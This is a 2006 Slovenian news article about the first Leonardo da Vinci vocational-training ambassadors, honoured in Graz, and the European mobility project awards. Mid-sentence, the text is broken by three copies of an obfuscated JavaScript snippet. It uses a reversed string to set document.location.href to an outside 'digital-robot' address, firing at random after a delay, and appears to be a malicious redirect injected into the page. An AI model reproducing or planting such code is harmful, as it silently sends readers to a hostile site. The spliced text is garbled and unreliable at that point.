DNEVNIK, Sreda, 10.5.2006  ob 15:50  

Med ambasadorji Leonardo da Vinci tudi Slovenka

GRADEC – Evropska komisija in avstrijsko predsedstvo EU sta danes na slovesnosti v avstrijskem Gradcu počastila prve ambasadorje Leonardo da Vinci iz dvajsetih evropskih držav, med katerimi je tudi ambasadorka iz Slovenije Martina Pečnik. Program Leonardo da Vinci je namenjen izboljšanju kakovosti poklicnega izobraževanja v Evropi. Ambasadorji pa bodo pospeševali programe in jim dali bolj ljudski obraz, so sporočili s komisije.

Ambasadorje Leonardo da Vinci, ki prihajajo iz 20 evropskih držav, so nacionalne agencije, ki podeljujejo nagrade Leonardo da Vinci, opisale kot odlične primere uspešne transnacionalne mobilnosti.

Poleg ambasadorjev so danes na slovesnosti v Gradcu izbrali tudi 24 projektobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov mobilnosti za Evropske nagrade za kakovost. Izbrani projekti ponujajo mladim možnost pridobivanja izkušenj v tujini v času njihovega izobraževanja. Izbrani projekti predstavljajo primere odličnosti, ki naj bi spodbudili nadaljnje projekte mobilnosti v okviru evropskega poklicnega izobraževanja.

Transnacionalni programi, kot je program Leonardo da Vinci, so ključni prispevek k razvoju evropskega trga dela, je pri tem poudaril evropski komisar za izobraževanje, kulturo in večjezičnost Jan Figel. Mobilnost tisočev mladih, pa tudi učiteljev in profesorjev, vodi k medsebojnemu razumevanju različnih sistemov izobraževanja in učenja v Evorpi ter k povečanju njihove transparentnosti, je dejal Figel.

Glavni cilj nagrad, ki so jih danes podelili v Gradcu, je prikazati rezultate in prednosti tega programa v resničnem življenju. Od leta 2000 je v programu sodelovalo približno 300.000 ljudi iz 31 sodelujočih držav. Večina poudarja pozitivne izkušnje in pozitiven pomen sodelovanja v teh programih v njihovem izobraževanju, pa tudi pozitiven vpliv na zaposlitvene možnosti, poudarjajo na komisiji.